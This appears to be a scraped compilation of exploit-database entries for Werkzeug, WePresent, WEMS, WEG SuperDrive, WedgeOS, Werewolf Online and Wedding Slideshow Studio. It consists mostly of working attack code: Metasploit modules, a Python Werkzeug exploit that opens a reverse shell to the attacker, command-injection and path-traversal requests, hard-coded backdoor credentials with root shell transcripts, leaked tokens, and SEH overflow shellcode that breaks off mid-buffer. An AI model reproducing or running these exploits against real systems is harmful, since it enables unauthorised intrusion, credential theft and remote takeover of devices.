    print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")

    sock.put(req)

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 1st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end

    # 2st Packet

    header = sock.get_once(6)
    unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")
    end

    data_length = sock.get_once(2)

    unless data_length && data_length.length == 2
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")
    end

    data_length = data_length.unpack('n')[0]

    data = sock.get_once(data_length)
    unless data && data.length == data_length
      disconnect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")
    end
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri == get_resource
      print_status('Sending payload...')
      send_response(cli, @pl)
      register_files_for_cleanup("c:\\#{@down_file}.exe")
    end
  end
end
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit4 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Werkzeug Debug Shell Command Execution',
      'Description'    => %q{
        This module will exploit the Werkzeug debug console to put down a
        Python shell. This debugger "must never be used on production
        machines" but sometimes slips passed testing.

        Tested against:
          0.9.6 on Debian
          0.9.6 on Centos
          0.10  on Debian
      },
      'Author'         => 'h00die <mike[at]shorebreaksecurity.com>',
      'References'     =>
        [
          ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['python'],
      'Targets'        => [[ 'werkzeug 0.10 and older', {}]],
      'Arch'           => ARCH_PYTHON,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 28 2015'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
      ], self.class
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(datastore['TARGETURI'])
    )

    # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
    if res && res.body =~ /Werkzeug powered traceback interpreter/
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # first we need to get the SECRET code
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(datastore['TARGETURI'])
    )

    if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
      secret = $1
      vprint_status("Secret Code: #{secret}")
      send_request_cgi(
        'method'   => 'GET',
        'uri'      => normalize_uri(datastore['TARGETURI']),
        'vars_get' => {
          '__debugger__' => 'yes',
          'cmd'          => payload.encoded,
          'frm'          => '0',
          's'            => secret
        }
      )
    else
      print_error('Secret code not detected.')
    end
  end

end
HireHackking 
#!/usr/bin/env python
import requests
import sys
import re
import urllib

# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 

if len(sys.argv) != 5:
    print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0])
    sys.exit(-1)


response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))

if "Werkzeug " not in response.text:
    print "[-] Debug is not enabled"
    sys.exit(-1)

# since the application or debugger about python using python for reverse connect 
cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''' % (sys.argv[3],sys.argv[4])

__debugger__ = 'yes'

frm = '0'

response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2]))

secret = re.findall("[0-9a-zA-Z]{20}",response.text)

if len(secret) != 1:
    print "[-] Impossible to get SECRET"
    sys.exit(-1)
else:
    secret = secret[0]
    print "[+] SECRET is: "+str(secret)

# shell
print "[+] Sending reverse shell to %s:%s, please  use netcat listening in %s:%s" % (sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])

raw_input("PRESS ENTER TO EXPLOIT")

data = {
        '__debugger__' : __debugger__,
        'cmd' : str(cmd),
        'frm' : frm,
        's' : secret
        }


response = requests.get("http://%s:%s/console" % (sys.argv[1],sys.argv[2]), params=data,headers=response.headers)

print "[+] response from server"
print "status code: " + str(response.status_code)
print "response: "+ str(response.text)
HireHackking 
# Exploit Title: Werewolf Online 0.8.8  - Insecure Logging
# Date: 2018-05-24
# Software Link:
https://play.google.com/store/apps/details?id=com.werewolfapps.online
# Download Link:
https://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details
# Exploit Author: ManhNho
# Version: 0.8.8 Android App
# CVE: CVE-2018-11505
# Category: Mobile Apps
# Tested on: Android 4.4

---Description---

Many developers log information to the android log. Sometimes sensitive
data as well.
With output of logcat, Hacker can get "Firebase token" which used in PUT
request to /players/meAndCheckAppVersion

---PoC---

root@vbox86p:/ # ps | grep 'were'
u0_a72    9161  205   810364 172268 ffffffff b765ea23 S
com.werewolfapps.online
root@vbox86p:/ # logcat | grep -i '9161'
I/ActivityManager(  586): Start proc com.werewolfapps.online for activity
com.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072,
3003, 1028, 1015}
I/MultiDex( 9161): VM with version 1.6.0 does not have multidex support
I/MultiDex( 9161): Installing application
...
D/RNFirebaseMessaging( 9161): Firebase token:
dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8
D/RNFirebaseAuth( 9161): getToken/getIdToken
D/RNFirebaseAuth( 9161): getToken:onComplete:success
...

Request:

PUT /players/meAndCheckAppVersion HTTP/1.1
authorization: Bearer
eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw
Content-Type: application/json; charset=utf-8
Content-Length: 207
Host: api-core.werewolf-apps.com
Connection: close
Accept-Encoding: gzip, deflate
Cookie:
AWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3
User-Agent: okhttp/3.6.0

{"versionNumber":48,"platform":"android","fcmToken":"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8"}

---References---
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505
https://pastebin.com/NtPn3jB8
HireHackking 
# Exploit Title: CVE-2017-6351 - WePresent undocumented privileged manufacturer backdoor account 
# Date: 27/02/2017
# Exploit Author: Quentin Olagne
# Vendor Homepage: http://www.wepresentwifi.com/ or http://www.awindinc.com/products_wepresent_wipg_1500.html
# Software Link: http://www.awindinc.com/products_wepresent_wipg_1500.html
# Version: All versions of WiPG-1500 devices up to the latest firmware (1.0.3.7)
# Tested on: Latest firmware (1.0.3.7) of WiPG-1500 device
# CVE : CVE-2017-6351

WiPG-1500 device embeds a firmware with a manufacturer account with hard coded username / password. 
Once the device is set in DEBUG mode, an attacker can connect to the device using telnet protocol and log in the device with the 'abarco' hard-coded manufacturer account. 

This account is not documented, neither the DEBUG feature nor the use of telnetd on a port TCP/5885 (when debug mode is ON).

Here's the extract of the linux 'passwd' file:
root:x:0:0:root:/home:/bin/sh
abarco:x:1000:0:Awind-Barco User,,,:/home:/bin/sh

and the 'shadow':
root:$1$x1mFoD3w$uuvn.Z0p.XagX29uN3/Oa.:0:0:99999:7:::
abarco:$1$JB0Pn5dA$sROUF.bZVoQSjVrV06fIx1:0:0:99999:7:::

This vulnerability has been reported to the vendor but this product (WiPG-1500) is no longer maintained. This means it's a #WONTFIX vulnerability. Vendor has removed the 'abarco' account on the newest models but don't worry, DEBUG mode is still there with telnetd and you can also use the r00t account with a home and /bin/sh on the other systems in any case.
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'WePresent WiPG-1000 Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in an undocumented
        CGI file in several versions of the WePresent WiPG-1000 devices.
        Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Matthias Brun', # Vulnerability Discovery, Metasploit Module
        ],
      'References'     =>
        [
          [ 'URL', 'https://www.redguard.ch/advisories/wepresent-wipg1000.txt' ]
        ],
      'Payload'        =>
        {
          'Compat'     =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat openssl'
            }
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['WiPG-1000 <=2.0.0.7', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 20 2017',
      'DefaultTarget'  => 0))
  end


  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => '/cgi-bin/rdfs.cgi'
    })
    if res && res.body.include?("Follow administrator instructions to enter the complete path")
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status('Sending request')
    send_request_cgi(
      'method' => 'POST',
      'uri'    => '/cgi-bin/rdfs.cgi',
      'vars_post' => {
        'Client' => ";#{payload.encoded};",
        'Download' => 'Download'
      }
    )
  end

end
HireHackking 
# Exploit: WEMS BEMS 21.3.1 - Undocumented Backdoor Account
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: WEMS Limited
# Product web page: https://www.wems.co.uk
# Advisory ID: ZSL-2019-5552
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php

WEMS BEMS 21.3.1 Undocumented Backdoor Account


Vendor: WEMS Limited
Product web page: https://www.wems.co.uk
Affected version: Web: 21.3.1
                  Web: 20.0beta
                  Web: 19.5
                  Web: 18.4
                  Firmware: 1.26.6 (OS: 5.3)
                  Firmware: 1.23.7 (OS: 5.0)
                  Firmware: 1.21.4 (OS: 4.1a-usb)
                  Firmware: 1.18.0.3 (OS: i686-1.1)
Platform: Shockwave Flash (SWF) / CGI

Summary: We (WEMS) offer the world's first fully wireless energy management system.
Our solution enables your organization to take control of its energy costs, by monitoring
lighting, heating and air conditioning equipment to identify wastage across multiple
sites and start saving money instantly. Additionally, we offer a service which enables
you to personally control the settings of your building - remotely, via text messaging
and the internet - from wherever you happen to be in the world.

Desc: The wireless BMS solution has an undocumented backdoor account that is Base64-encoded.
These sets of credentials are never exposed to the end-user and cannot be changed through
any normal operation of the controller thru the RMI. Attacker could exploit this vulnerability
by logging in using the backdoor account with highest privileges for administration and gain
full system control. The check_users.sh Bash script is used to generate the default accounts
on the system with their passwords and privilege level. The backdoor user cannot be seen in
the users settings in the admin panel and it also uses an undocumented privilege level 3 when
using the addhttpuser program which allows full availability of the features that the WEMS
is offering remotely. WEMS also ships with hard-coded and weak credentials for Telnet/FTP
access using the credentials gast:glasshou or root:glasshou.

Tested on: Linux 2.6.16 armv5tejl
           thttpd/2.25b
           Adam 7000 System
           WEMS OS 5.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5552
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5552.php


06.07.2019

--


Excerpt content of check_users.sh bash script:
----------------------------------------------

# cat /tmp/check_users.sh
...
...
if [ -n "${varSystem}" ];then
  #add 'V.A.R.' user credentials
  /mnt/bin/addhttpuser -u var -p 88fRK66Q -l 2 > /dev/null
  /mnt/bin/addhttpuser -u varuser -p user -l 1 > /dev/null
  /mnt/bin/addhttpuser -u varview -p view -l 0 > /dev/null
else
  #add 'wems' user credentials
  /mnt/bin/addhttpuser -u wems -p kup5EF4s -l 2 > /dev/null
  /mnt/bin/addhttpuser -u wemsuser -p user -l 1 > /dev/null
  /mnt/bin/addhttpuser -u wemsview -p view -l 0 > /dev/null
fi

echo "Adding logging user credentials..."
/mnt/bin/addhttpuser -u YWRhbWNvbGxlY3Q -p YzAxMTNjdGFkYW0K -l 3 > /dev/null

# Verify user added successfully...
if [ "$?" -eq "255" ]
then
        echo "Error when adding logging user credentials - aborting.."
        cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
        exit
fi

veri_user=`grep -e 'YWRhbWNvbGxlY3Q' /mnt/etc/httpusers`

if [ -n "$veri_user" ]
then
        echo "User credentials added successfully."
        cp -p /mnt/etc/httpusers /mnt/etc/httpusers.default
        exit
else
        echo "Error when adding user credentials - restoring defaults."
        cp -p /mnt/etc/httpusers.default /mnt/etc/httpusers
fi
----------------------------------------------


Default and hard-coded credentials:
-----------------------------------

WEMS:
 
 [Level 2/Admin - Web/SWF->CGI]     : wems:kup5EF4s
 [Level 1/User - Web/SWF->CGI]      : wemsuser:user
 [Level 0/View - Web/SWF->CGI]      : wemsview:view
 [Level 3/Backdoor - Web/SWF->CGI]  : YWRhbWNvbGxlY3Q:YzAxMTNjdGFkYW0K (adamcollect:c0113ctadam)

V.A.R. (Value Added Reseller):

 [Level 2/Admin - Web/SWF->CGI]     : var:88fRK66Q
 [Level 1/User - Web/SWF->CGI]      : varuser:user
 [Level 0/View - Web/SWF->CGI]      : varview:view

Shell:

 [Level 500/User - Telnet/FTP]      : gast:glasshou
 [Level 0/root - Telnet/FTP]        : root:glasshou
-----------------------------------


By calling the auth command through the cmd parameter, the cgiauth binary
reads the /mnt/etc/httpusers file and checks validation for authentication.
To login with the backdoor account the following HTTP GET request is made:
--------------------------------------------------------------------------

GET /cgi-bin/cgiauth?user=YWRhbWNvbGxlY3Q&pass=YzAxMTNjdGFkYW0K&cmd=auth HTTP/1.1
Host: 192.168.1.17
User-Agent: Noproblem/25.1
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.17/SMARThome1.swf

Response observed:

HTTP/1.1 200 OK
content-type: text/html
Transfer-Encoding: chunked
Date: Fri, 13 Sep 2019 18:15:17 GMT
Server: WEMS OS 5.0 Casino

sessionid=EQhaZPEXgJQhkXeZ&level=3&username=YWRhbWNvbGxlY3Q


--------------------------------------------------------------------------


Running addhttpuser, reading httpusers file:
--------------------------------------------

# /mnt/bin/addhttpuser
Usage is -u <username> -p <password> -l <level>
# cat /mnt/etc/httpusers
0:wems:$1$3EVBJ96F$RBX7xggVT8.zXM9vDbGWB/:2
1:wemsuser:$1$3EVBJA6F$Gr6zU7L0n4OPq7YdCM5.b1:1
2:wemsview:$1$3EVBJB6F$6XtYBc2VaQYucRe2T7lfa.:0
3:YWRhbWNvbGxlY3Q:$1$3EVBJD6F$scO5furQud3eKLHpNyUyo.:3
# ls -al /mnt/bin/addhttpuser
-rwxr-xr-x    1 root     root        16520 Jan 29  2014 /mnt/bin/addhttpuser
--------------------------------------------


Root shell:
-----------

$ telnet 192.168.1.17
Connected to 192.168.1.17.
Escape character is '^]'.

- Adam 7000 System - Version 4.1a-usb -

WEMS login: gast
Password: 


BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ id
uid=500(gast) gid=500
$ su
Password: 


BusyBox v1.01 (2011.02.24-11:55+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root)
# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
-----------


$ ftp 192.168.1.17
WEMS FTP server (Version wu-2.6.2(12) Thu Feb 24 14:48:47 GMT 2011) ready.
user root
331 Password required for root.
pass glasshou
230 User root logged in.
HireHackking 

WEG SuperDrive G2 v12.0.0 Insecure File Permissions


Vendor: WEG Group
Product web page: http://www.weg.net
Affected version: SuperDrive G2 (v12.0.0 Build 20150930-J1.8.0_60-NB8.0.2)
                  SuperDrive (v7.0.0)

Summary: SuperDrive is a Windows graph tool for parameter setting,
control and monitor of WEG Drives. It permits to edit directly in the
drive online parameters, or to edit offline parameter files stored
in the microcomputer. It enables you to store parameters of all drives
that exist in the installation. The software also incorporates functions
enable the upload to the drive of the microcomputer parameters sets
as well as the download from the drive to the microcomputer. The
communication between drive and microcomputer is realized via RS232
serial interface (point to point) or by RS485 for network linkage.

Desc: SuperDrive suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'C' flag (Change) for 'Authenticated
Users' group.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Java 1.8.0_60


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5294
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5294.php


25.11.2015

--


C:\WEG\SuperDrive 7.0.0>cacls SuperDrive.exe
C:\WEG\SuperDrive 7.0.0\SuperDrive.exe BUILTIN\Administrators:F
                                       NT AUTHORITY\SYSTEM:F
                                       BUILTIN\Users:R
                                       NT AUTHORITY\Authenticated Users:C


C:\WEG\SuperDrive 7.0.0>


C:\WEG\SuperDrive G2 12.0.0>cacls *.exe
C:\WEG\SuperDrive G2 12.0.0\SuperDriveG2.exe BUILTIN\Administrators:F
                                             NT AUTHORITY\SYSTEM:F
                                             BUILTIN\Users:R
                                             NT AUTHORITY\Authenticated Users:C

C:\WEG\SuperDrive G2 12.0.0\unins000.exe BUILTIN\Administrators:F
                                         NT AUTHORITY\SYSTEM:F
                                         BUILTIN\Users:R
                                         NT AUTHORITY\Authenticated Users:C


C:\WEG\SuperDrive G2 12.0.0>
HireHackking 
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

WedgeOS Multiple Vulnerabilities
Affected versions: WedgeOS <= 4.0.4

PDF:
http://www.security-assessment.com/files/documents/advisory/WedgeOS-Final.pdf

+-----------+
|Description|
+-----------+
Wedge Networks WedgeOS Virtual Appliance contains a number of security
vulnerabilities, including unauthenticated arbitrary file read as root,
command injection in the web interface, privilege escalation to root,
and command execution via the system update functionality.

+------------+
|Exploitation|
+------------+
==Unauthenticated Arbitrary File Read==
Any user with access to the web interface of WedgeOS may submit a GET
request to the ssgimages function, using directory traversal to specify
an arbitrary file on disk. The web server runs as root, so any file may
be read, including the shadow file. This vulnerability can be used to
read the contents of the local MySQL database, which contains MD5
password hashes for the web interface.
[POC]
curl -sk
'https://[HOST]/ssgmanager/ssgimages?name=../../../../../etc/shadow' |
head -n 1
root:$1$KVY2OJDj$Xg5LkGQI3lUvzr8GVIErp/:15828:0:99999:7:::

==Command Injection==
Any authenticated user may execute arbitrary commands as root. The ping,
nslookup, and traceroute functions of the diagnostic interface fail to
validate user input correctly, which allows the injection of arbitrary
system commands. Bash brace expansion can be used to execute more
syntactically complex commands.
[POC]
----
POST /ssgmanager/jsp/readaccess/ping.jsf HTTP/1.1
Host: [HOST]
Cookie: JSESSIONID=[SESSION];
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

mainform=mainform&mainform:input=1%26id&mainform:submitGo=Go&mainform:j_id_jsp_208968386_10pc4=&javax.faces.ViewState=j_id3
----

==Privilege Escalation==
A remote user with access to the 'support' account over SSH can escalate
privileges to root by using way of the admin account. The support
account can be accessed with the password "ous35hi3". This gives the
user a bash shell. If the support user knows the password for the admin
user, they can switch to the admin user and launch a bash shell.
Otherwise, the admin password can be reset by logging in with the
resetpassword user, or by accessing the local MySQL database and
cracking the admin hash. The database can be accessed with the "root"
user and password "wecandoit".

Once the user has the admin password, they can switch to the admin user
and spawn a bash shell by executing the following command:
su -s /bin/bash admin

With a bash shell as the admin user, there are multiple methods to
escalate to root. If the file at /var/tmp/secfi_update.sh does not
exist, this can be created and executed as root with sudo. However this
file is created when updating the system, so it may not be possible.
The admin user can also escalate privileges to root by creating a
specific directory path in any location where they have write access,
and exploiting environment variables when running the ctl_snort.sh
script via sudo.

[POC]
-Read admin password from DB-
ssh support@[HOST]
support@[HOST]'s password: [ous35hi3]
[support@wedgevm ~]$ mysql -u root --password=wecandoit ssgmanager -e
'select password from admin;'
+----------------------------------+
| password                         |
+----------------------------------+
| [PASSWORD]                       |
+----------------------------------+

-Reset admin password with support user-
ssh resetpassword@[HOST]
resetpassword@[HOST]'s password: [default!]
Reset password for admin (y/n)? y
Resetting admin password...
Admin password has been reset to default.
Connection to [HOST] closed.

-Privesc via environment variables and sudo-
[support@wedgevm ~]$ su -s /bin/bash admin
Password: [admin] (Default password)
[admin@wedgevm support]$ export GUARDIAN_HOME=/var/tmp
[admin@wedgevm support]$ mkdir -p /var/tmp/shared/script
[admin@wedgevm support]$ echo "id > /var/tmp/id" >
/var/tmp/shared/script/query_license.sh
[admin@wedgevm support]$ chmod +x /var/tmp/shared/script/query_license.sh
[admin@wedgevm support]$ sudo /usr/local/snort/bin/ctl_snort.sh start
-mode ids
Error: specify the snort configuration file with -config
[admin@wedgevm support]$ cat /var/tmp/id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[admin@wedgevm support]$


==Command Execution==
An admin user with write access to the web interface may execute
arbitrary commands as root. The user can specify an external server with
which to retrieve system updates. The WedgeOS requests a shell script
from the remote host and runs it as root. No validation of the script is
performed, so arbitrary commands may be specified.

[POC]
-Reverse Shell-
$cat secfi_update1.2.3.4.sh
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[HOST]",1337));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

-HTTP Post-
POST /ssgmanager/jsp/writeaccess/SystemUpdate.jsf HTTP/1.1
Host: [HOST]
Cookie: JSESSIONID=[SESSION]; JSESSIONIDSSO=[SESSION]
Content-Type: application/x-www-form-urlencoded
Content-Length: 233

mainform=mainform&mainform%3Aid=1&mainform%3Apassword=1&mainform%3Aupdates=&mainform%3Aversion=1.2.3.4
&mainform%3AisDefaultServer=false&mainform%3AcustomServer=[HOST]%2F&mainform%3Asave=Run+Update&javax.faces.ViewState=j_id12

-HTTP Server and Listener-
$python -m SimpleHTTPServer 80 & netcat -vnlp 1337
[1] 24289
listening on [any] 1337 ...
Serving HTTP on 0.0.0.0 port 80 ...
[HOST] - - [18/Jun/2015 11:50:09] "GET /secfi_update1.2.3.4.sh HTTP/1.0"
200 -
connect to [HOST] from (UNKNOWN) [HOST] 53933
sh: no job control in this shell
sh-4.0# id
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

+----------+
| Solution |
+----------+
Update to WedgeOS version 4.0.5-482 or greater.

+-------------------+
|Disclosure Timeline|
+-------------------+
16/03/2015 - Advisory sent to vendor.
20/03/2015 - Follow up email checking if vendor has received.
24/03/2015 - Advisory receipt acknowledged by vendor.
22/04/2015 - Email sent asking for update, email undeliverable due to
421 Timeout from vendor mail server.
28/04/2015 - Additional email sent asking for update.
28/04/2015 - Vendor response, states official response will be provided
shortly.
15/05/2015 - Email sent asking for update on official response, email
undeliverable.
20/05/2015 - Additional email sent asking for update on official
response, email undeliverable.
27/05/2015 - Called vendor, who stated a new release is being worked on
and an update will be provided soon.
03/06/2015 - Email from vendor stating a new version is being put together.
09/06/2015 - Email sent to vendor stating the advisory will be publicly
disclosed soon, email undeliverable.
12/06/2015 - Called vendor, who stated a new version will be released
shortly.
12/06/2015 - Email from vendor confirming imminent release of new version.
12/06/2015 - Vendor advises a fix is in place in the newly released
update of WedgeOS.
29/06/2015 - Advisory Release.

+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+

Security-Assessment.com is Australasia's leading team of Information
Security consultants specialising in providing high quality Information
Security services to clients throughout the Asia Pacific region. Our
clients include some of the largest globally recognised companies in
areas such as finance, telecommunications, broadcasting, legal and
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Security-Assessment.com is committed to security research and
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vulnerabilities in public and private software vendor's products.
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through their release of whitepapers and presentations related to new
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For further information on this issue or any of our service offerings,
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HireHackking 
###########################################################################################
# Exploit Title: Socumsoft Wedding Slideshow Studio 1.36
# Date: 02.08.2018
# Exploit Author: Achilles
# Vendor Homepage: http://www.socusoft.com
# Vulnerable Software: http://www.socusoft.com/down/wedding-slideshow-studio.exe
# Tested on OS: Windows 7 64-bit DE
# Steps to reproduce: Copy the contents of the file (Evil.txt)
# and paste in the License Name field click Register and BOOM
###########################################################################################

#!/usr/bin/env python


file = open("Evil.txt","wb")
junk = "\x41" * 512
nseh = "\x90\x90\xeb\x06" #jmp short 6
seh =  "\x91\x54\x01\x10" #pop pop retn DVDPhotoData.dll

nops = "\x90" * 20

buf =  ""
buf += "\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33" #Bind shellcode port 4444
buf += "\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
buf += "\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
buf += "\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
buf += "\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
buf += "\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
buf += "\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
buf += "\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
buf += "\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
buf += "\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
buf += "\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
